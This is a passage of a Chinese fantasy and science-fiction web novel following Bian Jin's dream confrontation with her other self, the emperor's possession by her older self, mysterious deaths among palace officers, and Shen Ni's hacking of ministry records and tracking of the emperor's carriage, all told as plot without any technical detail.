没事的没事的,想想办法,争取两天之后再进去的时候能攻克边师姐。
在心里组织语言,计划着一会儿怎么跟师姐说情况。
等啊等,边烬一直没醒。
“师姐?”
沈逆试着唤了一声,身后抱着她的人没有回应,气息依旧很平稳。
沈逆轻轻在她怀中转身,面对她。
又唤了一下。
以前梦境互通结束后,沈逆醒了,边烬很快会跟着醒来。
可今天,边烬还在梦里。
边烬的意识此刻身处另一层梦境世界。
她曾经一次次涉足的地方。
依旧有迷宫般的森林,和纠缠在森林之中的浓雾。
边烬的长发被风卷起,锋利的眼睛直视迷雾。
“你最近占用我身体太多次了。”
边烬来到迷雾前,一把抓进去,抓到了一只手臂。
“你到底是谁?滚出来。”
第109章
“滚出来。”
边烬用力扯动那团黑影。
贺兰濯告诉她,梦境世界因你的意识而生,你自然是这世界的主宰。为什么人会觉得自己在梦里身不由己,那是因为不知自己深陷梦中。
“只要你明确认定自己在梦境内,那么你就拥有掌控这个世界的能力。因为你就是梦境世界的神明。”
边烬心中念动,想要吹散恼人的浓雾,看清浓雾里的真容。
下一刻,平地起狂风。
邪乎的浓雾被吹得飞散。
边烬紧紧扣着黑影的手腕,要让狂风吹尽这困扰她多时的隐秘。
忽然,狂风的风向变得凌乱,向犹如一只失去了眼睛的野兽,在危机四伏的丛林里四下逃窜。
边烬是此处的神明,可此处不止一个神明。
仿佛有另外一个她,控制住了天地间的躁动。
方才散去一些的浓雾又开始凝聚。
聚在黑影身上,凝成了一个人形。
边烬拽着对方,对方也在拽着她。
两方巨大的力量不相上下,边烬额头和手背上渐渐浮出发力的青筋。
她使出了全力,这还是她有生以来第一次感觉到什么叫势均力敌。
浓雾中传出了人的声音。
“你真的不知道我是谁吗?”
以前她们一直是用意识直接交流,这是边烬第一次听到对方的声音。
突然而起的声音让边烬心头猛颤。
这声音……
边烬有一瞬间的走神,浓雾中的人忽然松了力道,借着边烬拉拽她的力量猛然扑上前,一腿扫中她腰间。
长腿为鞭,这一招也过分熟悉。
咚咚咚——
几棵树接连被边烬撞倒。
边烬从未感受过这般巨大的力量撞在身上。
不知被踢出了多远,在一片乱糟糟的树枝中刚要起身,喉咙忽地被扼住。
窒息感灌顶,边烬箍着那只手,用力一掰将其掰开,与此同时挺起上身,左肘顶向浓雾。
浓雾像早就预料到她的招数,抬起胳膊挡下不少力道。
这一招却有后手,左胳膊肘出去之后,前臂立即前弹,居然也被接下。
边烬一脚把浓雾蹬到了安全距离之外,对方将浓雾凝成鞭,对着边烬猛抽。
奇怪的是,边烬居然猜到了她的想法,与此同时也从腰间抽出长鞭。
两鞭对抽,掀起的劲风冲断树林,巨大的力量震得边烬虎口发麻。
长鞭如游龙,双方缠斗着从森林打至一片平镜般的湖上。
边烬心念起,原本安宁的湖面下悄无声息地出现了一条庞大的影子。那影子躁动地游弋着,以惊人的速度蹿上湖面,瞬间破水而出。
那是一条鱼,一条全身透明,一眼就能看见骨骼的巨型鱼。
这条鱼凶残暴躁,张开嘴冲着浓雾猛咬。
却在下一刻,被浓雾坐到身下,温顺得像只坐骑。
以念化成的兽就这样被轻松驯服。
这一路势均力敌的对战,心有灵犀般的拆解,边烬心里有数了。
无需狂风,一阵清风拂过,浓雾自行散去。
边烬终于看清了对方的面容。
那是自己的脸。
和自己的脸庞对视,边烬的呼吸凝滞了几息。
随后,很快平稳了。
边烬:“我早该猜到是我自己。”
这段时间另一个意识有出现过,沈逆肯定见过,甚至有了交集,却没有告知边烬。
短暂的惶恐和心酸过后,很快她就有了新的猜测。
为什么身体会被修复,沈逆为何又对她缄口无言。
从头到尾,都是她自己。
也只有她本人,才能让沈逆守口如瓶。
云舒云卷,边烬的梦境世界恢复了宁静祥和。
另一个自己坐在鱼头之上,正看着她。
和以镜自照的感觉很不同,眼前的自己有思想,有自己的行动和判断,甚至知晓的事情也比她多。
深潭般的眼眸却比她还安静,读不出企图,望不穿情绪。
边烬慢悠悠地卷起长鞭,她知道用不上了。
“一开始的计划就是回到长安城,但因为身负叛国之罪,不想被李渃元发觉真相,便用了极端的方法,锁住记忆。只有一无所知才能不露破绽。只有失去了记忆,才能毫无痕迹,不被大理寺窥探,不让李渃元知晓这一切。”
说到此处,边烬抬眸看向眼前人。
“所以,为什么非得回到长安城不可?长安城内藏着什么秘密?还是说,一早就预料到长安城会爆发黑魔方?”
另一个她沉静得如同消失了一般,并没有打算开口回答。
边烬了解自己,不想说的事谁也撬不开她的嘴。
“如果这些你都不想回答,那你可以保持缄默。我只有一个要求,不要伤害她。”
不用提名字,她们都知道这个“她”指的是沈逆。
就在这时,另一个自己开口了。
“你现在做的才是在伤害她。”
和自己对话方便很多。
藏在话中的深意,不用解释,也能一息领悟。
另一个自己的言下之意便是,她爱得越多,离开的时候沈逆就会越痛苦。
晴朗的天际压下来一整片阴云,一丝风都没有。
厚厚的云层里积攒着巨大的雷暴,闪动着,随时都有可能穿越天际,撕裂大地。
“我不会走。”
边烬的眼眸里倒映着蓄势待发的紫电,这四个字极其笃定。
另一个自己背对着雷电,一模一样的眼眸中,却是灰沉沉的阴霾。
“早就失控了。”另一个自己说,“我本以为我很了解自己,也计划好了一切,唯独没算到阿摇会这么做。”
边烬问道:“没算到阿摇会救我们出大理寺?”
说“我们”这个词很别扭。
“不,她会的。”
边烬:“……那便是你没想到,她会向李渃元求这场姻缘。”
对着自己说“你”,更奇怪。
另一个自己没有回答。
边烬知道自己说对了。
因为边烬也没想到沈逆会这么做。
那时的沈逆还是六年未见的旧人。
是告白被拒绝,被罚在师门跪着,狠心抽了十鞭子的小师妹。
沈逆如何埋怨都情有可原,甚至落井下石也未尝不可。
但沈逆没有埋怨也没有落井下石,她选择将濒死的边烬从坟墓之中拉起,用尽一切办法治疗她,修复她,把最好的一切都给她。
放弃了那条通天的坦途,与边烬一同走向布满荆棘的窄门。
阿摇,还是这么傻。
另一个边烬道:“也没想到,你会陷得这么深。”
边烬反问:“那你呢?频繁占用我身体之时你在做什么?也只是冷眼旁观吗?”
另一个边烬从鱼巨大的脑袋上跃下,飘然至边烬面前。
两张一模一样的脸庞距离极近。
边烬凝视着自己的脸,乍看之下并无差别,但眼前这双眸中暗藏的锋芒,因那三年的存在更为锐利。
另一个边烬扣住边烬的手,与她十指交握,渐渐加深力道:
“提醒你一下,那也是我的身体。她也是我的妻子。”
相扣的十指像流动的两堆沙砾,渐渐交融,合为一体,分不出彼此。
边烬要往后挣,她跟上来,脸部也有些沙砾飘向她。
另一个边烬道:“李渃元撑不了多久了,本该顺利推进的,可你该做的事情没能做完,脱离了计划,我只能现身,把一切拉回轨道。”
边烬眼眸轻闪,“你在利用阿摇?”
没人回答她的问题。
边烬忽然想明白一件事。
“阿摇也是你回到长安城的目的之一?”
天地昏暗,连风都凝固了,唯有她的质问在回荡。
没人给她答案。
……
李渃元深吸一口气,惊醒。
继而是一阵昏天暗地的咳嗽。
咳着咳着,她发现自己正伏在某个人的腿上,那人的手还在她后背上疼惜地轻抚着。
“……阿复?”
这是成年女人的身形,她以为是韩复。
可韩复从来不会在没征得她同意的情况下和她这般亲密。
安抚她的人叹了一声。
“终究还是走到这一步了吗?”
成年女子的声音低沉,即便在说这般忧伤的话语,依旧怀着不服输的倔。
是那个总是藏在暗处的女人。
是那个阴魂不散的邪祟!
李渃元想要支起身,可后背上的手掌只是轻轻贴着,就像有千钧之力,压制着,让她无法动弹。
“你,你是谁?你究竟是谁!竟对朕如此无礼!来人……阿复!阿——”
嘴被捂住,与此同时李渃元的眼睛也被捂住。
捂她的这只手很奇怪,像一只变异的义体,冰冷,宽大,不似人形。
身后人将李渃元抱起来,面对不远处那面立着的镜子。
“你确定要知道我是谁吗?”
女人的声音诱惑中带着嘲讽。
李渃元的心跳前所未有的快。
继天立极的这些年内忧外患,她的帝位有多少人觊觎。
风云开阖玄谋庙算,这二十多年来她行走在生死之间,见过太多刀光剑影阴谋诡诈,几时怕过。
无论此人是谁,如何能让唐Pro帝国的天子惧怕?
李渃元的思绪行至此处,就听身后人咯咯地笑出声。
“唐Pro帝国的天子,哈……”
李渃元刚要挺起的身子,忽然凝住了。
为何身后这人仿佛能读懂她的心思?
殿外传来脚步声。
是一直守着的韩复。
“陛下?”
韩复一直没有离开,听到殿内传来一阵低喊,又戛然而止。
担心里面出事,可李渃元说了,没她的命令谁也不能进去打扰她。
就在韩复的声音传入殿内时,捂着李渃元眼睛和嘴的手忽然撤开了。
猝不及防看见镜中人。
身后那人狰狞怪异的模样冲入李渃元的眼底,让她心头为之一颤。
那人一半的脸还保留着人类的模样,甚至可以称之为“好看”,而另一半脸就像被巨大的力量拧得扭曲不堪。
左眼、半边的鼻子、同侧的嘴、皮肤和耳朵,甚至是身体,都像被吸入漩涡之中,搅成了漩涡状,凌乱又丑陋。
黑色的乱体横生,她像一棵已经枯萎的树,长满了凌乱的枝叶,干瘦如柴,阴森恐怖。
李渃元双唇颤了颤,“你是异兽?”
女人笑着,将脸凑到她肩膀之上。
距离镜子更近,让昏暗的灯光更多地铺在脸上。
“异兽?你不觉得,咱俩长得很像吗?”
李渃元深吸一口气。
很像……
是啊,很像,那仅存的半张脸,和她如此的相像!
像到就像是同一个人。
一个是小时候,另一个则是成年之后的模样。
“陛下?陛下?你还好吗?”
韩复还在喊她。
此刻没有人捂住李渃元的嘴,可她已经在极度震惊中无法开口了。
闷了多日的暴雨忽然而至。
骤然炸开的滚雷惊得李渃元发抖。
女人疼惜地揽着她,摸了摸她的脑袋,凄凉道:
“二十多年了,我也舍不得你。可是炼丹炉丢了,我能怎么办呢……”
李渃元还想说什么,忽然,浑噩的意识骤然注入一股清明,所有的思绪被某种力量打通了。
那力量操控着李渃元对着门口道:“阿复。”
韩复:“陛下,发生什么事了?”
李渃元:“没什么,刚才不小心摔了一跤……”
她的语调很平稳,可她本人此时分明处于极度惊恐的状态。
以前她也有过思路极为活跃清晰的时候,总以为那是乍现的灵感、
可此时此刻她忽然回过神,明白了,不是灵感,而是有人打通了她的意识,正在操控她的身体使用她的嘴,说出的每一个字都不属于她。
如果她有见过身在弦昼国的秦无商是怎么操控远在千里之外长安城的魔种,她会发现,和此时身后的女人操控她一模一样。
韩复顿了几息,道:“陛下有没有摔伤?”
李渃元想让韩复进来,现在就进来保护她。
可嘴里说的却是:“我没事。”
身后的女人横卧在李渃元的软塌上,吃着她的点心,愁绪满眸。
“阿复,派去弦昼国的密探如何了?”
韩复听李渃元语气如常,本来略松了口气,李渃元的问话又教她愁绪上眉心。
韩复道:“陛下,此旅一千人在距离弦昼国都城十里之外受到不明生物袭击,生死未卜。”
李渃元淡笑道:看来天意如此。”
她的炼丹炉无论是在弦昼国,还是在靖安侯府,她都拿不回来了。
坐在她身后的女人怀念起了和边烬君臣一心的日子。
那时还没怀疑过她的边烬,她的边总都督,所向披靡。
区区一个弦昼,哪够得上边总都督一脚呢?
可惜啊,回不去了……
女人完好的那只眼里落下一滴泪。
很快就消失了。
甚至都没有留下泪痕。
“阿复,传朕旨意,宣其他五王进京。明日午时,朕就要看到他们和永王出现在广膳殿中。”
韩复眉心拧得更紧。
这命令太奇怪,她甚至一时间没有回应李渃元。
最后,李渃元带着一丝隐笑道:
“安王若要来,朕也不是不能见她一面。”
第110章
窦璇玑的床塌了,往上报,说得过两天才能送新的来。
管内务的同僚还好奇。
“窦队正,咱们这床结实得很呐,你这都能睡塌?”
窦璇玑:“嗯,从窗户爬了只野猫进来,打架打塌了。”
同僚一时无言。
窦队正年纪小,脾气可真不小,连一只野猫都要较劲。
床还没来的日子,窦璇玑就和房判挤一起睡。
幸好冷气修好了,这单人床也就睡起来窄,不容易翻身,不然还得热出个好歹。
作为搭档,她们每天都在一块儿行动,第一次同床共枕也没什么陌生感,反而挺让人安心。
而且房判睡觉很老实,躺下什么姿势,醒来也什么姿势,半点不带动弹。
相比于窦璇玑这个翻身大户,房判跟挺尸没什么区别。
窦璇玑就喜欢她这种挺尸的风格,方便自己调整。
昼时上值时,窦璇玑专注度很高,基本不说闲话,房判想跟她讨论点儿午间吃什么都会被她白眼,附带一句“就知道吃”。
也就夜深人静,睡不太着的时候能聊点儿闲话。
窦璇玑和李司那档子事儿,她全跟房判说了。
听到李司说要让她搬到将军府,房判嘴里“哇”个没完,替窦璇玑高兴。
窦璇玑:“我没答应。”
房判:“李司的将军府那么大,还有护院,可比咱们这儿安全多了,你为何没答应啊?”
窦璇玑:“我和她非亲非故的,就这样搬去住,像什么话?”
“不如直接成亲?”
窦璇玑没吭声。
“李司是正四品金吾将军,长得好看,人也蛮可靠的样子。这般出类拔萃的人,想和她议亲的人应该不少吧……你若是再犹豫下去,被旁人抢了先,可没地儿后悔去。”
这话房判劝说的小心翼翼,生怕窦璇玑嫌她啰嗦。
可又控制不住多这个嘴。
丽景门的女官,看似穿着威风的官服,走哪儿都气势汹汹,面上威风,实则就是一群没耶娘的死士,无根的浮萍,死就死了,有时候灵堂都不会费心布置。薄棺一口,死后不到一个月就不会再被人提及。生如草芥死若灰。
偶尔看到温馨的一家子从眼前走过,她们都会沉默地注视一会儿。
窦璇玑知道房判是在为她着想。
李司姓李,虽是洛阳郡王的血脉,也是和李氏沾亲带故。无论谁当皇帝,只要这江山不易主,她都是皇室的血脉,前途不可限量。
李司年轻有为,性子又讨人喜欢,惦记她的人肯定是不少的。
先前窦璇玑觉得李司是因为同情她才接近她,这话窦璇玑肯定不会去向李司求证的,房判替她着急,冒着被窦璇玑掐死的风险问过了。
李司说喜欢她性子,这回答房判也转告给窦璇玑。
窦璇玑没掐她,当时甚至都没什么反应,房判还以为她没听见。
其实都听见了。
窦璇玑翻了个身,背对着房判。
窦璇玑自认长得就那么回事儿,性子还不好,让她杀人还行,若是要她爱人,她脑子里想不出应该怎么做才是。
更别说如何对自己的妻子好了。
她完全没想过此生会有“妻子”。
“李司对我根本不了解,就那么几次的相遇就提成亲,无非是一时新鲜,顶多是觉得我性子烈,相处起来刺激罢了。若真因此高攀了这金吾将军,待这份激情过去她不喜欢我了,我可就真成笑话了。”
窦璇玑心里乱糟糟的,紧闭着眼,捡了几句,没头没尾地跟房判说了。
说完后有点儿后悔。
感觉自己患得患失的,很傻。
房判完全没笑话她的意思,用手指戳戳她的后背。
“万一,她会一直一直像现在这么喜欢你,在意你呢?”
房判的话,让窦璇玑一直紧闭的双眼慢慢睁开。
房判又道:“万一,往后每一年她都会更喜欢你一些,永远愿意保护你呢?”
窦璇玑被她说得心跳有些快,一种向往的冲动撞上她的心口,热热的。
“别说了……”
房判哈哈笑起来。
“好娇哦璇玑。”
窦璇玑:……
窦璇玑一个翻身掐在房判腰间的原体上,房判被她摁那修理了半天,最后讨饶道“不敢了不敢了”。
两人闹了半天,险些把房判的床也闹塌,最后累得双双躺倒。
房判学着窦璇玑以前捶她的动作,捶她的胳膊。
“想那么多干嘛,无论未来怎么样,此刻开心不就好了?”
窦璇玑:“真想像你一样没脑子。”
房判:?
房判:“不是吧,我安慰你,你骂我?”
窦璇玑踹她一脚,“而且,我走了你怎么办?就你这缺心眼的不得被欺负死?”
房判沉默了几息后,问:“你这么在乎我哦?”
窦璇玑正想骂她,门外忽然传来一阵压抑的脚步声。
脚步到她们屋门口时,似乎有什么重物掉了,正好砸在门上。
“咚”的一声闷响,几滴血透过年久失修的木门门缝,溅到了屋内。
窦璇玑和房判对视一眼,立即去开门。
门外,两位同僚正在把地上另一人搬起来。
窦璇玑见被搬者口鼻都是血,脸色发紫,模样诡异,制止道:
“怎么回事?你们要把她搬去哪儿?”
那两人瞧一眼窦璇玑,没说话,继续搬。
房判和窦璇玑一起把她们拦下。
窦璇玑摸了一下那人的脉搏,对房判道:“死了。”
房判双唇紧闭。
这是具尸体。
正说着话,从后面的寝屋里又搬出来一具尸体,搬尸的两人瞧向窦璇玑的方向,憔悴且麻木。
这两具尸体,同样的脸色发紫口鼻冒血,正是她队中不服她的三人之二,前几日还与她有些口舌之争。
那三人之中还剩一人,名叫丹樱。平日里这三人小团队一般走哪儿都不紧密不分。这会儿丹樱从墙后冒出一双眼睛,心惊胆战地往这儿看。
窦璇玑一和她对视,她便缩回了头,调头就走。
窦璇玑一把扯住她的后衣领。
“你杀的?”
丹樱惊惧道:“怎么可能!我为什么要杀她们?”
“那你跑什么?”
窦璇玑学会了李司那套“问心有愧”论,的确好使。
“我,我怕尸体不行吗?”
“身为丽景门女官,还有怕尸体的?行,我明日就把你调到庖厨生火做饭,免得你出勤时晕倒。以后你就当个厨娘吧。”
厨娘没有官阶,薪水自然更加微薄,又累又穷。
丹樱:“你……”
窦璇玑逼近她,一双眼睛凶得能吃人。
“说,到底怎么回事。”
丹樱:“……不就是每年在正常死亡,今年轮到我们小队罢了。”
正常死亡?
都口鼻流血了,还能称之为正常?
两人拎着丹樱到杂物间,将门一关,质问道:
“什么叫正常死亡?你管死状惨烈叫正常死亡?”
丹樱一副不太想说的样子,窦璇玑便知她知晓内情,抽出新打造的电刃,往她身边一插。
蓬勃的电花闪现,吓得她一哆嗦。
丹樱缩着肩膀道:“每年,每年到夏季的时候,咱们丽景门都会有一部分人突然死亡啊。有时候是在执行任务的时候忽然发作,人没了。有时候是躺在屋子里,睡着睡着就死了。这事儿你们不知道么?每年都发生的事儿,当然正常了。”
窦璇玑来丽景门的时间不短了,还真是第一次听说此事。
房判抓了她一把,窦璇玑明白房判应该有些线索。
窦璇玑轻拍她手臂,示意回头两人单独的时候再说,此刻继续问丹樱:
“所以这件事是丽景门众所周知的秘密?”
“也不算,反正,我是之前的队正跟我说的。”
意思是窦璇玑上一任队正。
难怪窦璇玑不知晓,以前她只是位底层女官,接触不到上层的信息。
可这事不蹊跷么?
“每年夏季都会有一部分的人突然死亡?只是在丽景门内?”
丹樱:“这我就不知道了,丽景门内部的秘密怎么可能透露给我?大侦探,你想要调查的话麻烦你去问问别人。直接问门主呗,她那么疼你,说不定真会告诉你呢。”
窦璇玑“哦?”了一声,沉着脸道:
“那我现在就地把你打死,也可以说是正常死亡了。”
丹樱脸色一变,惊恐地抱住自己。
窦璇玑一把将电刃拔起,她吓得一哆嗦。
窦璇玑收好电刃,懒得再吓唬她,嫌弃道:
“丽景门怎么会有你这样的窝囊废。”
房判在一旁小声蛐蛐,“靠卖搭档才活到今日。”
被戳中痛处,丹樱对着房判“你”了一声。
窦璇玑凶狠的目光等过来,丹樱没敢多言,绕过窦璇玑,匆匆离开杂物间。
窦璇玑拉着房判到寝屋中,把门关上,问她:“你也知晓此事?”
房判:“我之前的搭档就是这样莫名其妙死的。”
“口鼻流血?”
“嗯,一模一样。我还记得她一入夏就咳嗽不止,到盛夏就能好些,连续三年都是如此。她死的那一年直到夏日都要过去了,咳疾也没有任何好转的迹象,之后的某个清晨她就死了。当时的场面和今日相同,口鼻流出大量的黑血,什么时候死的不知晓,咱们都住在单间嘛,若是虚弱濒死,想要求救也不容易。周围的人都在说她是正常死亡。那时候我也觉得很诡异,想问为何死得这么惨烈也能算正常,所有人都讳莫如深,没人告诉我。”
窦璇玑脊背发凉。
心中隐隐有个猜测,但没有任何证据支持。
她只是个小小的队正,以她的力量难以得知真相。
可她知道,如若不查,总有天和她和房判也会和这些人一样,蹊跷死去,草席一卷,丢入乱葬岗中。活得艰辛,死得不明不白。
她把此事加密,发送给了沈逆。
向沈逆求助,希望沈逆能帮忙调查丽景门这隐秘的诡事。
沈逆收到她加密传信时,正担忧地伏在边烬身边。
边烬一直没醒。
大多数情况下气息是平稳的,偶尔加快。
沈逆不知道她在做什么,只能一直守在身边,等她自己醒来。
电子表震了好几下,沈逆趴在边烬身旁打开传信。
顺了一下窦璇玑说的事儿,起初只觉得这件事情诡异,越看到后面越是觉得有一种熟悉感。
让她联想到李煽。
房判前任搭档死前一直咳嗽,想起那日见到的李煽,也是在烈日之下咳喘不止,有些相似。
这念头一起,又觉得自己太多疑了。
咳疾再普通不过,别说李煽,就是李渃元也是一样的毛病,怎么长安城里多少人都有咳疾。
怪是怪在丽景门将非正常死亡的人看作正常。
内廷官吏的死亡记录都在礼部,沈逆试着黑入礼部系统。
礼部的系统虽不像最高研发署那般严密,却也不是说黑就黑的。
有点复杂。
沈逆先让系统自己跑着,初步评估时间为六个时辰。
沈逆回复窦璇玑,需要一点时间调查,有结果再联系她。
信才传出去,就被人从身后抱住了。
边烬不知何时醒了,没有说话,只深深地将沈逆拥入怀中。
沈逆想问她何时醒的,方才是怎么了,睡得那般沉。
话未问出口,先察觉到环着她的这双手臂在隐隐发颤。
“师姐?”
沈逆握住边烬的手,好凉。
“师姐,怎么了?”
“阿摇。”
边烬把沈逆的两只手都扣进掌心里,箍紧。
“我带你离开长安城吧。”
110-120
第111章
边烬将她抱得那般紧,痛感挤压着身体,喘息都变得困难。
“阿摇。我带你离开长安城吧。”
听到这句话,沈逆的第一个想法就是——
真好。
师姐又开始唤“阿摇”这个小字了。
这是她最喜欢的名字。
大名当然也很喜欢。
“沈逆”是师姐的希冀,希望她能以意逆志,不拘俗常。
但小字则没有那么多道理,只有偏爱和宠溺。
每次师姐这样唤她,她都知道师姐有多疼她。
真好啊,这个小字又属于她了。
这是烬师姐,沈逆安静地任她发泄不安的情绪。
直到感觉边烬的轻颤慢慢平复,呼吸也恢复正常的频率,她才轻轻转身,双手捧住边烬的脸。
“不行。”
沈逆极少拒绝边烬,这次的拒绝却是前所未有的坚定。
“师姐,我很想跟你离开这儿,你带我去哪都行,只要有你在。可是,如果我真的答应了,余生你只会在后悔中度过。”
沈逆相当大逆不道地揉着边烬的脸蛋。
将她的愁绪揉成抽象的形状。
“如果你我离开长安城,长安城的百姓怎么办?下次再出现高危险等级的异兽又如何是好?谁能抵挡?失控的黑魔方会血洗各大城池,血流满阶之时,你会安心吗?”
沈逆说得太过精准而赤露,让边烬压在她身上的指尖不安地摩挲着。
沈逆认真读着边烬眼眸里的思绪。
“我太了解你了,师姐。你会内疚,会担忧,一辈子都不会快乐的。我们当然要走,等建完城防,彻底消灭黑魔方,你不说我也会带你离开这儿。你想重建双极楼,我就陪着你重建。你想去个只有我们两人的地方,天涯海角我都跟你去。在此之前,我们不能离开。我不想你满心忧虑,心事重重。”
沈逆夹住她的脸。
“我们双极楼大师姐,唐Pro帝国的守护神,应该永远走在属于你的古道上,不为任何人所绊。我更不要成为那个牵绊住你的人。”
边烬在开口之前,想过很多结果。
眼前的笃定却是超出预料的。
当时的沈逆不会知道,这一刻,她在边烬的眼里有多迷人。
成熟,坚定,可靠。
那个总是依赖她的小孩,她的阿摇,彻彻底底长大了。
边烬垂下眼眸。
此生唯一一次理智驶入脱轨的边缘,被沈逆拉了回来。
漫长的吻,温柔至极。
唇中偶尔有些咸涩的滋味,不知是谁的泪。
梨花的淡香在寝屋中暗暗流荡。
沈逆靠在边烬怀中,搂着她的腰肢。
“师姐,你是不是知道了什么?”
边烬“嗯”了一声,道,“我见过她了。”
沈逆已经猜到了。
难怪久久未醒,果真是在潜意识里寻找另一个自己。
那……她俩见面了,有提及沈逆与边师姐的夜夜荒唐吗?
沈逆心里七上八下的,边烬却没有要提那些的意思。
在边烬看来,沈逆之所以会和另一个意识接触,只因为那个意识就是边烬本人。
这是沈逆对她信任和情感。
若要拿这事儿出来烦沈逆,边烬于心不忍。
边烬只对沈逆说了些对另一个自己计划的猜测。
包括另一个自己封锁记忆的目的,是为了彻底隐藏那三年发生的事。以及,沈逆很有可能是计划的一环。
边烬:“但具体细节她不肯吐露。”
边烬的眉心一直紧拧着,直到沈逆用指尖帮她一点点揉开。
“你是担心我是计划的一环,怕我受伤,才想将我带离长安城么?”
边烬眸色沉沉,“我如何能不担心?”
沈逆忽然笑了,开心地亲上边烬的唇。
边烬:“……没正经。”
“怎么没正经了。师姐,你应当这么想,她也是你,你们就是同一个人,当初制定计划时你必然是认可的。你岂会让我涉险?最重要的是,能让我参与到绝密的计划中,这是对我的信任,我开心得很,师姐怎么反倒愁眉苦脸了?”
边烬还待说,沈逆又吻她。
将她焦虑的话统统吻回去。
边烬:“……胡闹。”
沈逆大言不惭道:“嗯,我就是胡闹。”
这招是她从边师姐那儿学的。
她胡闹就是边师姐胡闹,边师姐胡闹就是烬师姐胡闹。
到最后等于,她胡闹就是边烬胡闹。
边烬沉默寡言,性子内敛,不以忧喜见色。
偏偏会被离经叛道的沈逆吸引,也会被她身上镇定又松弛的能量安抚。
渐渐地,心慌的感觉在消散。
这一刻,沈逆觉得自己已经掌握了命运。
那时的她以为,破解了魔种的秘密,便是拿捏住了李渃元和秦无商的命脉。
这场政治博弈,她便做那观棋之人,捏着底牌,不言不语,且看别人厮杀。
处在最安全的地带,慢慢沿着剿灭黑魔方的道路一直向前,总有一日会还天地清明,让边烬睡一个好觉。
这是沈逆一厢情愿乐观的想法。
不久,那场让整个帝国翻天覆地的巨变后,人类的文明失控地冲入转捩点时,沈逆在孤寂的夜里,在整个大陆最为安全的长安城中,复盘拒绝离开京师的这一日。
忽然发觉,她忽略了一件极其重要的事。
烬师姐与她所说的所有话,做的所有事,边师姐都在暗中凝视着。
为什么边师姐选择在当时的节点频繁出现?
又为什么,让烬师姐顺利发现了迷雾中的黑影就是她自己?
若说沈逆是整个计划至关重要的一环,那边烬就是坚定又狡猾的执行者。
连自己也能利用。
边烬的计划从头到尾的本意,至关重要的目的,就是要沈逆留在长安城。
留在这希望之地。
贞观廿二年盛夏时分的沈逆尚不知前程,还未步入荒野,完全沉浸在边烬为她打造的温柔乡中。
昼时城防工程和无数琐碎,她都能撑起精神一一解决。
到了夜里,鱼游春水,满室水香花气。
情意满溢,互相取悦。
边烬拧起眉的样子很好看,在某个时刻忽然失序松动样子更是动人。
这是恣意放纵的溽暑,互相铭刻的三伏。
香汗交颈间,沈逆已经不去想眼前的究竟是边师姐还是烬师姐。
无论是谁,欢愉不变,爱意不变,何必去费劲区分?
这个夏日之前,沈逆见过的边烬比钢硬,比雪冷。
是高悬的冰轮,不沾半分情和欲。
心中唯有师门,眼下只见苍生。
情爱于她,薄如烟云。
谁都无法入她的眼。
而这盛夏开启后,炎炎燠热深处的边烬,如火炙热。
眼里的影是沈逆,掌心的湿是沈逆,心内的欲还是沈逆。
喜欢得不知如何是好,口中的话也不得章法。
“阿摇,只记得我一人吧……”
沈逆的意识在边烬身下摇摇欲坠时,忽地听到这么一句,以为她是忽然想起来,又回头吃边师姐的醋。
但,不像。
沈逆抬头来吻她,发红的手指从下巴延伸至颞颥,读着她的眼眸,倏然解读出她的意思。
沈逆无奈地解释道:“师姐,我当初真的只是意气用事才说谈了好几次恋爱。”
听到她的话,边烬还有些怔怔的欣喜。
“真的么?”
“真的真的真的……”
迎着边烬的举动,沈逆主动上前。
红潮在后颈和后背蔓延,沈逆已经戒不掉被填满的快乐。
“这辈子喜欢师姐一个人都已经要喜欢不过来了……”
夜里缠绵,晨间还得起来炼体。
沈逆一面在破解炼丹炉和魔种的秘密,一面还在研究那张怎么都画不明白的符纸。
为第五阙打造的武器等到“狸力开采一号机”满载而归,就可以进入收尾阶段。
还有窦璇玑委托她查的事儿。
事情诸多且繁杂,但架不住沈逆心情好,半点不燥。
一切都在有条不紊地推进。
礼部系统已经黑进去了,这几年丽景门死者名录和死因也调了个清单出来。
沈逆摸着下巴看了一会儿,死因全都是“因公殉职”,根本没有口鼻冒血的记录。
有点棘手。
跟边烬说了这件事来龙去脉,她习惯了所有事都想听听师姐的意见。
沈逆:“礼部所留存丽景门的档案少之又少,对丽景门死亡女官的记录更是一笔带过,连个尸检都没存档。”
边烬:“毕竟是专门为天子干活的部门,她们的死因有可能牵扯到李渃元的行迹,步步都是机密。”
沈逆:“丽景门内部的信息管理够严的,窦璇玑进丽景门的时间不短了,即便先前是个小女官,也才发现门内机密,说明这件事儿上面一直捂得很严实。”
再看礼部的记录,丽景门女官的殡葬一贯简单,堪称简陋。
礼部这头应该找不到什么有价值的线索了,沈逆往椅背上一靠,倒是觉得好笑:
“你说,璇玑怎么不找李司来查此事?”
李司升任金吾将军有几年了,在此之前她也在金吾卫中担任要职,京师所有人命案她都有权过问。就算丽景门女官死亡一事当初没从金吾卫这边走,现在她要调查,权限在手,没人敢说个“不”字。
边烬倒是有点懂内向的窦璇玑。
“璇玑应该是不太好意思麻烦李司帮忙。”
沈逆笑道:“明白,毕竟李司在后头追得紧,她要是开口了,算是欠了李司人情,回头这门亲事她是答应不答应?行吧,璇玑不好意思,我好意思。就由我来当这个月老。”
沈逆直接把窦璇玑的传信抄送了一份给李司,说是窦璇玑的要紧事儿,她查不明白,烦请李司将军帮个忙。
边烬看她敲出来的那行字,仿佛看到李司嫌弃的脸,以及她的声音:嚯,这世上还有靖安侯查不明白的事儿么?
这头沈逆飞了一鸽,不到一刻钟就有新的传信震动手腕。
还以为是李司这大忙人回得这般快,结果是曾倾洛的密信。
沈逆看完密信,神色有些迟疑。
“李渃元以庆祝城防一期完工为由,招五王进京,举办金秋庆典?这可是从未有过的事儿。”
边烬想起另一个自己所说——
李渃元撑不了多久了。
边烬道:“招五王进京,等于七位王爷全都在京。这般大的阵势和风险,庆典肯定只是掩人耳目的表面工夫。或许是为了嗣位。”
“不像。她若舍得嗣位也不会等到今日。无论她打着什么算盘,派侦查鸟一探便知。”
“可是,她若有图谋,此次宴请诸王的地点肯定非常隐秘,那几位王爷的位置恐怕不好锁定。”
沈逆却是神秘一笑。
“不用找王爷,直接锁定李渃元不更好么?”
李渃元的行迹自然比诸王更难寻。
但沈逆这般笃定,边烬就知道她有办法。
沈逆投了个屏给边烬看。
“红点位置,就是李渃元飞天仪仗的位置。这飞天仪仗造好之后一直停在大明宫内,从没动弹过,偏偏一个时辰前有了动静。飞天仪仗有隐身功能,说不定李渃元就是看中了这隐身功能,想借此瞒天过海。不过她肯定没想到,我一早就在她的仪仗上装了定位器。”
边烬看着那个红点降落在一处郊外荒莽之地。
她对此处有印象,好像是李渃元曾经的行宫。
